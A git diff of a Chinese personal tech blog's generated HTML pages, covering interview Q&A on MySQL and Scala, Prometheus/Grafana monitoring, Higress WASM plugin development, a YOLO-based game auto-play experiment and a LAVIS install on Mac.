  • Paxos 适用于需要高容错和一致性的分布式系统,但实现复杂且性能开销较大。根据具体业务需求和系统特性选择合适的分布式事务方案,是设计分布式系统时的关键决策。
  • 2PC和3PC在做取舍,一致性?可用性?
 

7. Scala跟Java的区别关系

GPT问答

Scala跟Java的区别关系
Scala 和 Java 都是运行在 JVM(Java Virtual Machine)上的编程语言,但它们在设计理念、语法特性和应用场景等方面有着显著的区别和关系。以下是一些主要的区别和关系:
设计理念与范式
  • Java 是一种面向对象编程(OOP)语言,强调类和对象的使用。
  • Scala 是一种多范式编程语言,支持面向对象编程(OOP)和函数式编程(FP),其设计目标是提供一种更简洁、灵活和表达力更强的编程方式。语法简洁性
  • Java 语法相对冗长,需要写较多的模板代码(boilerplate code)。
  • Scala 语法简洁,减少了大量的模板代码。例如,Scala 中可以使用类型推断来减少显式类型声明。
函数式编程支持
  • Java 虽然在 Java 8 之后引入了 lambda 表达式和 Stream API,但其函数式编程特性相对有限。
  • Scala 原生支持函数式编程,拥有强大的高阶函数、不可变数据结构和模式匹配等特性。
类型系统
  • Java 使用相对传统的类型系统,泛型在某些情况下可能带来复杂性。
  • Scala 拥有更强大和灵活的类型系统,包括类型推断、协变和逆变、隐式转换、类型类等特性。
并发编程模型
  • Java 提供了线程、同步块、并发包(如 java.util.concurrent)等用于并发编程。
  • Scala 提供了更高级的并发编程模型,如 Akka Actor 模型,用于简化复杂的并发编程。
互操作性
  • JavaScala 都运行在 JVM 上,因此它们可以互相调用。Scala 可以直接调用 Java 的类库,反之亦然。
社区与生态系统
  • Java 拥有庞大的社区和丰富的类库、框架,如 Spring、Hibernate 等。
  • Scala 也有自己的生态系统,如 Akka、Play Framework 和 Spark 等,但其社区相对较小。
编译器和工具链
  • Java 编译器(javac)和工具链发展成熟,支持广泛的集成开发环境(IDE)和构建工具(如 Maven 和 Gradle)。
  • Scala 编译器(scalac)相对复杂,编译时间较长,但也支持诸如 sbt 这样的构建工具和 IDE 插件。
总的来说,Scala 和 Java 各有优劣,选择使用哪种语言可以根据具体的项目需求、团队熟悉度和开发效率等因素来决定。

总结

  • 互相是调用是我没想到的
 
 

写到最后

notion image
是在往前走就好 bothsavage.github.io -
 
notion image
 
万里长征-04-脉脉Prometheus+Grafana多方位监控
\ No newline at end of file +
\ No newline at end of file diff --git a/article/240429-prometheus.html b/article/240429-prometheus.html index 214f3832d..ca9105236 100644 --- a/article/240429-prometheus.html +++ b/article/240429-prometheus.html @@ -1,13 +1,13 @@ -Prometheus+Grafana多方位监控 | Both Savage

Prometheus+Grafana多方位监控

type
status
date
slug
summary
tags
category
icon
password
 

契机

最近发现火山引擎有托管的Prometheus,可是当前是邀测阶段。并且发现火山云的ECS是自带开机自启的exporter的。刚好需要搭建一套服务器监控,所以研究了一套Prometheus监控,包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控。

基础

docker安装

prometheus.yml最终配置

ECS监控

安装

如果选用的火山云的服务器直接参考,如果不是火山云需要参考文档安装
https://www.volcengine.com/docs/6731/1195154 +Prometheus+Grafana多方位监控 | Both Savage

Prometheus+Grafana多方位监控

type
status
date
slug
summary
tags
category
icon
password
 

契机

最近发现火山引擎有托管的Prometheus,可是当前是邀测阶段。并且发现火山云的ECS是自带开机自启的exporter的。刚好需要搭建一套服务器监控,所以研究了一套Prometheus监控,包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控。

基础

docker安装

prometheus.yml最终配置

ECS监控

安装

如果选用的火山云的服务器直接参考,如果不是火山云需要参考文档安装

监控配置

监控大盘

https://www.volcengine.com/docs/6731/1195154 拉到最下面就有一个监控大盘

效果演示

notion image

Nginx监控

安装

监控配置

监控大盘

登陆grafana新建看板导入

效果演示

notion image

ElasticSearch监控

安装

监控配置

监控大盘

登陆grafana新建看板导入

效果演示

notion image

RabbitMQ监控

安装

监控配置

监控大盘

登陆grafana新建看板导入

效果演示

notion image
 

Redis监控

安装

监控大盘

登陆grafana新建看板导入

效果演示

notion image

Java应用监控

安装

监控配置

监控大盘

登陆grafana新建看板导入

效果演示

notion image
notion image
 

写到最后

notion image
是在往前走就好 bothsavage.github.io -
 
notion image
 
万里长征-03-搜狐Nginx配置备忘录
\ No newline at end of file +
\ No newline at end of file diff --git a/article/240525-LM-04.html b/article/240525-LM-04.html index da06cea1b..bd4148dc2 100644 --- a/article/240525-LM-04.html +++ b/article/240525-LM-04.html @@ -1,4 +1,4 @@ -万里长征-04-脉脉 | Both Savage

万里长征-04-脉脉

type
status
date
slug
summary
tags
category
icon
password
以下内容基于GPT-4o模型

问题

1.MySQL查询如何优化

GPT问答

MySQL查询如何优化
优化 MySQL 查询可以从多个方面入手,包括查询设计索引使用数据库结构配置调整等。下面是一些常见的优化策略:
尽量不要使用 SELECT *,而是明确指定需要的列,减少不必要的数据传输。
尽量使用 WHERE 子句减少返回的数据量。
如果只需要前 N 条记录,可以使用 LIMIT
尽量避免在 WHERE 子句中使用函数操作,因为这可能导致索引失效。
覆盖索引包含了查询所需的所有列,避免了回表操作。
使用 EXPLAIN 检查查询使用了哪些索引,并分析查询计划。
对于大表,可以考虑使用分区表来提高性能。
调整 innodb_buffer_pool_size 等参数,提高内存使用效率。
根据实际需求调整最大连接数 max_connections
定期执行 ANALYZE TABLEOPTIMIZE TABLE
合理使用事务,避免长时间占用锁资源。

 
ANALYZE OPTIMIZE 这两个语句有啥用
ANALYZE TABLEOPTIMIZE TABLE 是 MySQL 提供的用于维护和优化表的两种重要命令。它们在不同的方面帮助提高数据库的性能和效率。
ANALYZE TABLE 命令用于更新表的统计信息。优化器使用这些统计信息来生成查询执行计划,从而选择最优的查询路径。
  • 更新表的索引统计信息。
  • 帮助优化器选择最优的索引和查询路径。
  • 当表中有大量数据插入、更新或删除操作后,统计信息可能会变得不准确,这时需要重新分析表。
  • 当查询性能下降,优化器可能无法选择最佳索引时,可以使用 ANALYZE TABLE 来更新统计信息。
OPTIMIZE TABLE 命令用于重组织表的数据和索引。这对于定期维护表的性能非常有用,尤其是在大量数据删除或更新操作后。
  • 重建表和索引,释放未使用的空间。
  • 压缩表和索引,提高访问效率。
  • InnoDB 表,效果类似于 ALTER TABLE ... ENGINE=InnoDB,会进行表的重建。
  • 当表中有大量的数据插入、删除或更新操作后,可能会产生碎片,导致查询性能下降,这时可以使用 OPTIMIZE TABLE
  • 定期维护表的性能,尤其是对于写操作频繁的表。
区别和联系
  • ANALYZE TABLE 主要是更新统计信息,帮助优化器选择最佳的查询路径。
  • OPTIMIZE TABLE 主要是重组织表和索引,释放未使用的空间并压缩数据。
这两个命令可以配合使用,以保持表的高效运行。一般来说,ANALYZE TABLE 可以更频繁地使用,而 OPTIMIZE TABLE 可以定期使用,特别是在进行大量数据操作之后。

总结

  • 查询优化就是索引
  • 不要用函数,覆盖索引这些,还有qps大的接口能走联合索引要搞
  • 前缀匹配是优化磁盘的时候考虑,数据量小就别考虑了
  • ANALYZEOPTIMIZE在数据大规模增加删除的时候有用

2.MySQL的 ACID理解,如何保证的,MySQL底层架构是啥

GPT问答

MySQL的 ACID理解,如何保证的
MySQL 是一种关系型数据库管理系统,它通过实现 ACID(Atomicity, Consistency, Isolation, Durability)属性来确保事务处理的可靠性和数据的完整性。以下是对 ACID 属性的理解以及 MySQL 如何保证这些属性:
+万里长征-04-脉脉 | Both Savage

万里长征-04-脉脉

type
status
date
slug
summary
tags
category
icon
password
以下内容基于GPT-4o模型

问题

1.MySQL查询如何优化

GPT问答

MySQL查询如何优化
优化 MySQL 查询可以从多个方面入手,包括查询设计索引使用数据库结构配置调整等。下面是一些常见的优化策略:
尽量不要使用 SELECT *,而是明确指定需要的列,减少不必要的数据传输。
尽量使用 WHERE 子句减少返回的数据量。
如果只需要前 N 条记录,可以使用 LIMIT
尽量避免在 WHERE 子句中使用函数操作,因为这可能导致索引失效。
覆盖索引包含了查询所需的所有列,避免了回表操作。
使用 EXPLAIN 检查查询使用了哪些索引,并分析查询计划。
对于大表,可以考虑使用分区表来提高性能。
调整 innodb_buffer_pool_size 等参数,提高内存使用效率。
根据实际需求调整最大连接数 max_connections
定期执行 ANALYZE TABLEOPTIMIZE TABLE
合理使用事务,避免长时间占用锁资源。

 
ANALYZE OPTIMIZE 这两个语句有啥用
ANALYZE TABLEOPTIMIZE TABLE 是 MySQL 提供的用于维护和优化表的两种重要命令。它们在不同的方面帮助提高数据库的性能和效率。
ANALYZE TABLE 命令用于更新表的统计信息。优化器使用这些统计信息来生成查询执行计划,从而选择最优的查询路径。
  • 更新表的索引统计信息。
  • 帮助优化器选择最优的索引和查询路径。
  • 当表中有大量数据插入、更新或删除操作后,统计信息可能会变得不准确,这时需要重新分析表。
  • 当查询性能下降,优化器可能无法选择最佳索引时,可以使用 ANALYZE TABLE 来更新统计信息。
OPTIMIZE TABLE 命令用于重组织表的数据和索引。这对于定期维护表的性能非常有用,尤其是在大量数据删除或更新操作后。
  • 重建表和索引,释放未使用的空间。
  • 压缩表和索引,提高访问效率。
  • InnoDB 表,效果类似于 ALTER TABLE ... ENGINE=InnoDB,会进行表的重建。
  • 当表中有大量的数据插入、删除或更新操作后,可能会产生碎片,导致查询性能下降,这时可以使用 OPTIMIZE TABLE
  • 定期维护表的性能,尤其是对于写操作频繁的表。
区别和联系
  • ANALYZE TABLE 主要是更新统计信息,帮助优化器选择最佳的查询路径。
  • OPTIMIZE TABLE 主要是重组织表和索引,释放未使用的空间并压缩数据。
这两个命令可以配合使用,以保持表的高效运行。一般来说,ANALYZE TABLE 可以更频繁地使用,而 OPTIMIZE TABLE 可以定期使用,特别是在进行大量数据操作之后。

总结

  • 查询优化就是索引
  • 不要用函数,覆盖索引这些,还有qps大的接口能走联合索引要搞
  • 前缀匹配是优化磁盘的时候考虑,数据量小就别考虑了
  • ANALYZEOPTIMIZE在数据大规模增加删除的时候有用

2.MySQL的 ACID理解,如何保证的,MySQL底层架构是啥

GPT问答

MySQL的 ACID理解,如何保证的
MySQL 是一种关系型数据库管理系统,它通过实现 ACID(Atomicity, Consistency, Isolation, Durability)属性来确保事务处理的可靠性和数据的完整性。以下是对 ACID 属性的理解以及 MySQL 如何保证这些属性:
原子性确保事务中的所有操作要么全部完成,要么全部不完成。如果事务中的任何操作失败,则整个事务回滚到最初状态。
如何保证: MySQL 使用事务日志(如 InnoDB 的 redo log 和 undo log)来实现原子性。
  • Redo Log 记录了修改的数据,用于在系统崩溃后恢复数据。
  • Undo Log 记录了事务的反向操作,用于在事务失败时回滚。
当一个事务开始时,MySQL 会记录开始点,并在事务提交前将所有操作记录到日志中。如果事务失败,则 MySQL 使用 undo log 回滚所有更改。
一致性确保事务将数据库从一个一致状态转换到另一个一致状态。事务开始前和结束后,数据库的所有规则(如约束、触发器等)必须保持有效。
如何保证: @@ -8,11 +8,11 @@ MySQL 通过以下方式实现持久性:
  • 使用 redo log 来记录事务的变化。这些日志在事务提交时同步到磁盘。
  • InnoDB 的 doublewrite buffer 技术确保数据页写入磁盘时的一致性。
  • 定时将内存中的数据页刷新到磁盘(通过 checkpoint 机制)。
总结起来,MySQL 通过事务日志、数据库约束、多版本并发控制、行锁以及定期的数据刷新等技术手段来实现 ACID 属性,以确保数据的可靠性和一致性。

 

3.Redis的几个基本数据类型,底层实现

GPT问答

1
1

4.RabbitMQ工作的几种不同模式,数据如何保证顺序性跟不丢失,如何避免数据重复消费

GPT问答

1
1

5.Linux 常见指令(说点高级指令比如tmux,awk,别扯 ls、cd)

GPT问答

1
1

6.MySQL为什么不建议用Text

GPT问答

1
1
 
 

7.MySQL limit 10W,10 这样的优化,覆盖索引的使用

GPT问答

1
1
 
 

8.Linux CPU满负荷如何排查

GPT问答

1
1
 
 

9.链表是否有环, 如何找到交点,计算出环的大小

GPT问答

1
1
 

10.一个字符串中的最长无重复子串

GPT问答

1
1
 
 

11.一个帖子来回回复如何存储,如何设计

GPT问答

1
1
 

12.一个数组包含10W个数据,数据范围都在0~100,请求出两数相加和为100的情况一共多少种

GPT问答

1
1
 

13.分布式锁实现方案

GPT问答

1
1
 
 

14.Redis为什么那么快,Redis底层实现

GPT问答

1
1
 
 

15.RabbitMQ 中的TTL

GPT问答

1
1
 
 

16.Redis中常见集群部署情况,出现性能问题如何排查

GPT问答

1
1
 
 

写到最后

notion image
是在往前走就好 bothsavage.github.io -
 
notion image
 
Java程序员学习Go开发Higress的WASM插件万里长征-03-搜狐
\ No newline at end of file +
\ No newline at end of file diff --git a/article/240625-higress.html b/article/240625-higress.html index a15296b6e..00634ca42 100644 --- a/article/240625-higress.html +++ b/article/240625-higress.html @@ -1,11 +1,11 @@ -Java程序员学习Go开发Higress的WASM插件 | Both Savage

Java程序员学习Go开发Higress的WASM插件

type
status
date
slug
summary
tags
category
icon
password
 

契机

今年天池大赛有higress相关挑战,研究一下。之前没搞过go,踩了很多坑,最主要的就是tinygo打包,多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm

环境布置

  • 包安装等可能需要依赖魔法,实在不行再配置代理仓库吧
  • 下载GoLand
  • 定位到higress/plugins/wasm-go/extensions目录
  • 安装Golang1.19,推荐直接在IDE中安装
    • 访问这个地方https://go.dev/dl/找安装包
    • macos下载好的安装文件直接安装,默认会安装到/usr/local/go目录
 

官方Demo

  • 用GoLand打开higress,找到/plugins/wasm-go/extensions/hello-world
  • 使用master分支
  • 当前24年6月25日19点,我使用的Revision版本:ef4a0243aceb59ad0e630c40683c429a4f1198a0
在GoLand中,直接在方法中使用json gjson,会自动在go.mod和main.go的require中增加相关的依赖
higress插件可以实现的4个钩子
  • HTTP 请求头处理阶段:wrapper.ProcessRequestHeadersBy
  • HTTP 请求 Body 处理阶段:wrapper.ProcessRequestBodyBy
  • HTTP 应答头处理阶段:wrapper.ProcessResponseHeadersBy
  • HTTP 应答 Body 处理阶段:wrapper.ProcessResponseBodyBy
proxywasm工具类可以实现的方法如下
分类
方法名称
用途
可以生效的HTTP 处理阶段
请求头处理
GetHttpRequestHeaders
获取客户端请求的全部请求头
HTTP 请求头处理阶段
ReplaceHttpRequestHeaders
替换客户端请求的全部请求头
HTTP 请求头处理阶段
GetHttpRequestHeader
获取客户端请求的指定请求头
HTTP 请求头处理阶段
RemoveHttpRequestHeader
移除客户端请求的指定请求头
HTTP 请求头处理阶段
ReplaceHttpRequestHeader
替换客户端请求的指定请求头
HTTP 请求头处理阶段
AddHttpRequestHeader
新增一个客户端请求头
HTTP 请求头处理阶段
请求 Body 处理
GetHttpRequestBody
获取客户端请求 Body
HTTP 请求 Body 处理阶段
AppendHttpRequestBody
将指定的字节串附加到客户端请求 Body 末尾
HTTP 请求 Body 处理阶段
PrependHttpRequestBody
将指定的字节串附加到客户端请求 Body 的开头
HTTP 请求 Body 处理阶段
ReplaceHttpRequestBody
替换客户端请求 Body
HTTP 请求 Body 处理阶段
应答头处理
GetHttpResponseHeaders
获取后端响应的全部应答头
HTTP 应答头处理阶段
ReplaceHttpResponseHeaders
替换后端响应的全部应答头
HTTP 应答头处理阶段
GetHttpResponseHeader
获取后端响应的指定应答头
HTTP 应答头处理阶段
RemoveHttpResponseHeader
移除后端响应的指定应答头
HTTP 应答头处理阶段
ReplaceHttpResponseHeader
替换后端响应的指定应答头
HTTP 应答头处理阶段
AddHttpResponseHeader
新增一个后端响应头
HTTP 应答头处理阶段
应答 Body 处理
GetHttpResponseBody
获取客户端请求 Body
HTTP 应答 Body 处理阶段
AppendHttpResponseBody
将指定的字节串附加到后端响应 Body 末尾
HTTP 应答 Body 处理阶段
PrependHttpResponseBody
将指定的字节串附加到后端响应 Body 的开头
HTTP 应答 Body 处理阶段
ReplaceHttpResponseBody
替换后端响应 Body
HTTP 应答 Body 处理阶段
HTTP 调用
DispatchHttpCall
发送一个 HTTP 请求
-
GetHttpCallResponseHeaders
获取 DispatchHttpCall 请求响应的应答头
-
GetHttpCallResponseBody
获取 DispatchHttpCall 请求响应的应答 Body
-
GetHttpCallResponseTrailers
获取 DispatchHttpCall 请求响应的应答 Trailer
-
直接响应
SendHttpResponse
直接返回一个特定的 HTTP 应答
-
流程恢复
ResumeHttpRequest
恢复先前被暂停的请求处理流程
-
ResumeHttpResponse
恢复先前被暂停的应答处理流程
-

编译生成WASM文件

 

本地调试

 
docker-compose.yaml
 
 

验证

 

总结

tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm

写到最后

notion image
+Java程序员学习Go开发Higress的WASM插件 | Both Savage

Java程序员学习Go开发Higress的WASM插件

type
status
date
slug
summary
tags
category
icon
password
 

契机

今年天池大赛有higress相关挑战,研究一下。之前没搞过go,踩了很多坑,最主要的就是tinygo打包,多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm

环境布置

  • 包安装等可能需要依赖魔法,实在不行再配置代理仓库吧
  • 下载GoLand
  • 定位到higress/plugins/wasm-go/extensions目录
  • 安装Golang1.19,推荐直接在IDE中安装
    • 访问这个地方https://go.dev/dl/找安装包
    • macos下载好的安装文件直接安装,默认会安装到/usr/local/go目录
 

官方Demo

  • 用GoLand打开higress,找到/plugins/wasm-go/extensions/hello-world
  • 使用master分支
  • 当前24年6月25日19点,我使用的Revision版本:ef4a0243aceb59ad0e630c40683c429a4f1198a0
在GoLand中,直接在方法中使用json gjson,会自动在go.mod和main.go的require中增加相关的依赖
higress插件可以实现的4个钩子
  • HTTP 请求头处理阶段:wrapper.ProcessRequestHeadersBy
  • HTTP 请求 Body 处理阶段:wrapper.ProcessRequestBodyBy
  • HTTP 应答头处理阶段:wrapper.ProcessResponseHeadersBy
  • HTTP 应答 Body 处理阶段:wrapper.ProcessResponseBodyBy
proxywasm工具类可以实现的方法如下
分类
方法名称
用途
可以生效的HTTP 处理阶段
请求头处理
GetHttpRequestHeaders
获取客户端请求的全部请求头
HTTP 请求头处理阶段
ReplaceHttpRequestHeaders
替换客户端请求的全部请求头
HTTP 请求头处理阶段
GetHttpRequestHeader
获取客户端请求的指定请求头
HTTP 请求头处理阶段
RemoveHttpRequestHeader
移除客户端请求的指定请求头
HTTP 请求头处理阶段
ReplaceHttpRequestHeader
替换客户端请求的指定请求头
HTTP 请求头处理阶段
AddHttpRequestHeader
新增一个客户端请求头
HTTP 请求头处理阶段
请求 Body 处理
GetHttpRequestBody
获取客户端请求 Body
HTTP 请求 Body 处理阶段
AppendHttpRequestBody
将指定的字节串附加到客户端请求 Body 末尾
HTTP 请求 Body 处理阶段
PrependHttpRequestBody
将指定的字节串附加到客户端请求 Body 的开头
HTTP 请求 Body 处理阶段
ReplaceHttpRequestBody
替换客户端请求 Body
HTTP 请求 Body 处理阶段
应答头处理
GetHttpResponseHeaders
获取后端响应的全部应答头
HTTP 应答头处理阶段
ReplaceHttpResponseHeaders
替换后端响应的全部应答头
HTTP 应答头处理阶段
GetHttpResponseHeader
获取后端响应的指定应答头
HTTP 应答头处理阶段
RemoveHttpResponseHeader
移除后端响应的指定应答头
HTTP 应答头处理阶段
ReplaceHttpResponseHeader
替换后端响应的指定应答头
HTTP 应答头处理阶段
AddHttpResponseHeader
新增一个后端响应头
HTTP 应答头处理阶段
应答 Body 处理
GetHttpResponseBody
获取客户端请求 Body
HTTP 应答 Body 处理阶段
AppendHttpResponseBody
将指定的字节串附加到后端响应 Body 末尾
HTTP 应答 Body 处理阶段
PrependHttpResponseBody
将指定的字节串附加到后端响应 Body 的开头
HTTP 应答 Body 处理阶段
ReplaceHttpResponseBody
替换后端响应 Body
HTTP 应答 Body 处理阶段
HTTP 调用
DispatchHttpCall
发送一个 HTTP 请求
-
GetHttpCallResponseHeaders
获取 DispatchHttpCall 请求响应的应答头
-
GetHttpCallResponseBody
获取 DispatchHttpCall 请求响应的应答 Body
-
GetHttpCallResponseTrailers
获取 DispatchHttpCall 请求响应的应答 Trailer
-
直接响应
SendHttpResponse
直接返回一个特定的 HTTP 应答
-
流程恢复
ResumeHttpRequest
恢复先前被暂停的请求处理流程
-
ResumeHttpResponse
恢复先前被暂停的应答处理流程
-

编译生成WASM文件

 

本地调试

 
docker-compose.yaml
 
 

验证

 

总结

tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm

写到最后

notion image
是在往前走就好 bothsavage.github.io -
 
notion image
 
天池大赛Higress插件官方demo详细部署+调试万里长征-04-脉脉
\ No newline at end of file +
\ No newline at end of file diff --git a/article/240626-demo.html b/article/240626-demo.html index 8fde571d4..c4b88840a 100644 --- a/article/240626-demo.html +++ b/article/240626-demo.html @@ -1,12 +1,12 @@ -天池大赛Higress插件官方demo详细部署+调试 | Both Savage

天池大赛Higress插件官方demo详细部署+调试

type
status
date
slug
summary
tags
category
icon
password
 

契机

使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。

前期准备

文档中所有变量都是${your_qwen_token}这种形式,需要你自己替换
notion image
 

本地搭建调试

docker运行higress

higress管理页面配置

此时容器运行起来了,访问http://localhost:8001,进入higress管理页面,密码随便

创建服务来源

首先创建官方文档中的DNS类型的服务,域名是 dashscope.aliyuncs.com,端口是443
notion image
然后创建一个redis固定地址服务来源,服务地址写127.0.0.1:6379,名称直接写redis
notion image
最后你的服务来源应该如下
notion image

路由配置

创建一条前缀匹配/的路由,转发给上面创建的服务,并附加注解:
higress.io/backend-protocol: HTTPS
higress.io/proxy-ssl-name: dashscope.aliyuncs.com
higress.io/proxy-ssl-server-name: on
就按照下图填写就完了
notion image

配置AI代理插件

这里要把插件打开,并且把${your_qwen_token},${your_file_id}填写上去
notion image
 

LLM访问验证

上面配置好了,此时你的llm就可以使用了

官方demo添加

加点日志

上面我们已经把项目拷贝下来了,找到官方ai-cache的demo的parseConfig方法,在这里加点日志,等下我们去观察日志插件是否生效
notion image

打包插件+push

添加ai-cache插件

继续访问higress管理页面http://localhost:8001,新增插件
插件名称:ai-cache
镜像地址:上面你推送过去的地址,这个的ocl://前缀可以不填写,他是自己加上的
执行阶段:认证阶段
优先级:99
~现在插件没有启动,还要其他配置
notion image

访问日志查看

配置+启动插件

这里要先复制,再开启,配置如下
notion image
此时看看刚才我们开启的日志,出现以下字样说明没问题了
notion image

验证ai-cache

迭代升级

后续去higress管理页面,修改ai-cache的镜像地址就行 +天池大赛Higress插件官方demo详细部署+调试 | Both Savage

天池大赛Higress插件官方demo详细部署+调试

type
status
date
slug
summary
tags
category
icon
password
 

契机

使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。

前期准备

文档中所有变量都是${your_qwen_token}这种形式,需要你自己替换
notion image
 

本地搭建调试

docker运行higress

higress管理页面配置

此时容器运行起来了,访问http://localhost:8001,进入higress管理页面,密码随便

创建服务来源

首先创建官方文档中的DNS类型的服务,域名是 dashscope.aliyuncs.com,端口是443
notion image
然后创建一个redis固定地址服务来源,服务地址写127.0.0.1:6379,名称直接写redis
notion image
最后你的服务来源应该如下
notion image

路由配置

创建一条前缀匹配/的路由,转发给上面创建的服务,并附加注解:
higress.io/backend-protocol: HTTPS
higress.io/proxy-ssl-name: dashscope.aliyuncs.com
higress.io/proxy-ssl-server-name: on
就按照下图填写就完了
notion image

配置AI代理插件

这里要把插件打开,并且把${your_qwen_token},${your_file_id}填写上去
notion image
 

LLM访问验证

上面配置好了,此时你的llm就可以使用了

官方demo添加

加点日志

上面我们已经把项目拷贝下来了,找到官方ai-cache的demo的parseConfig方法,在这里加点日志,等下我们去观察日志插件是否生效
notion image

打包插件+push

添加ai-cache插件

继续访问higress管理页面http://localhost:8001,新增插件
插件名称:ai-cache
镜像地址:上面你推送过去的地址,这个的ocl://前缀可以不填写,他是自己加上的
执行阶段:认证阶段
优先级:99
~现在插件没有启动,还要其他配置
notion image

访问日志查看

配置+启动插件

这里要先复制,再开启,配置如下
notion image
此时看看刚才我们开启的日志,出现以下字样说明没问题了
notion image

验证ai-cache

迭代升级

后续去higress管理页面,修改ai-cache的镜像地址就行 所以每次代码更新,需要打包代码,打包镜像,推送到docker仓库,修改插件镜像地址
 

写到最后

notion image
是在往前走就好 bothsavage.github.io -
 
notion image
 
Iphone Mirroring圆了我AI打DNF手游的梦Java程序员学习Go开发Higress的WASM插件
\ No newline at end of file +
\ No newline at end of file diff --git a/article/240725-ai.html b/article/240725-ai.html index 53d5e4ca2..7499992b2 100644 --- a/article/240725-ai.html +++ b/article/240725-ai.html @@ -1,11 +1,11 @@ -Iphone Mirroring圆了我AI打DNF手游的梦 | Both Savage

Iphone Mirroring圆了我AI打DNF手游的梦

type
status
date
slug
summary
tags
category
icon
password
 

契机

最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。

iphone mirroring

  • iphone设备打开Beta更新,且更新到ios18.0最新版本
  • mac更新到版本15.0 Beta版(24A5279h)
  • 保持ihone和mac在同一局域网下

技术路径

  • 基于python实现屏幕点击,屏幕录制
  • 通过yolo模型识别怪物,人物等
  • 通过计算人物到怪物的xy距离,移动到怪物身边平A

准备训练模型数据

录制打怪视频

使用OBS软件选择窗口录制,程序采集
notion image
录制完成后需要更改下编码格式为mp4

将打怪视频转为图片

开始打标签

创建项目
notion image
选择自己需要打的标签如下 !这里最好使用英文标签
notion image
import本地文件开始打标,挨个打上就行
notion image
 
最后保存打标结果,导出yolo格式的训练数据
notion image
得到一个zip包这就是我们需要训练的数据
 

开始训练模型

notion image
 
 

集成代码

以下代码表示实时读取窗口画面分析,并没有移动打怪逻辑
 

总结

  • yolo模型现在训练十分简单
  • label-studio完美的打标软件
  • 要是能ai打标就好了

写到最后

notion image
+Iphone Mirroring圆了我AI打DNF手游的梦 | Both Savage

Iphone Mirroring圆了我AI打DNF手游的梦

type
status
date
slug
summary
tags
category
icon
password
 

契机

最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。

iphone mirroring

  • iphone设备打开Beta更新,且更新到ios18.0最新版本
  • mac更新到版本15.0 Beta版(24A5279h)
  • 保持ihone和mac在同一局域网下

技术路径

  • 基于python实现屏幕点击,屏幕录制
  • 通过yolo模型识别怪物,人物等
  • 通过计算人物到怪物的xy距离,移动到怪物身边平A

准备训练模型数据

录制打怪视频

使用OBS软件选择窗口录制,程序采集
notion image
录制完成后需要更改下编码格式为mp4

将打怪视频转为图片

开始打标签

创建项目
notion image
选择自己需要打的标签如下 !这里最好使用英文标签
notion image
import本地文件开始打标,挨个打上就行
notion image
 
最后保存打标结果,导出yolo格式的训练数据
notion image
得到一个zip包这就是我们需要训练的数据
 

开始训练模型

notion image
 
 

集成代码

以下代码表示实时读取窗口画面分析,并没有移动打怪逻辑
 

总结

  • yolo模型现在训练十分简单
  • label-studio完美的打标软件
  • 要是能ai打标就好了

写到最后

notion image
是在往前走就好 bothsavage.github.io -
 
notion image
 
LAVIS在Mac,M1PRO芯片下的安装实战天池大赛Higress插件官方demo详细部署+调试
\ No newline at end of file +
\ No newline at end of file diff --git a/article/240806-lavis.html b/article/240806-lavis.html index 2d1b7f9e5..4d4e79d67 100644 --- a/article/240806-lavis.html +++ b/article/240806-lavis.html @@ -1,11 +1,11 @@ -LAVIS在Mac,M1PRO芯片下的安装实战 | Both Savage

LAVIS在Mac,M1PRO芯片下的安装实战

type
status
date
slug
summary
tags
category
icon
password
 

契机

本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。

安装

 

测试代码

notion image

总结

  • 其实效果一般,可能我用的float16
  • 最主要就是安装decode
  • decode的cmake有点麻烦
  • 最后执行的时候,下载模型要卡很久,这里看网速就知道其实正在下载

写到最后

notion image
+LAVIS在Mac,M1PRO芯片下的安装实战 | Both Savage

LAVIS在Mac,M1PRO芯片下的安装实战

type
status
date
slug
summary
tags
category
icon
password
 

契机

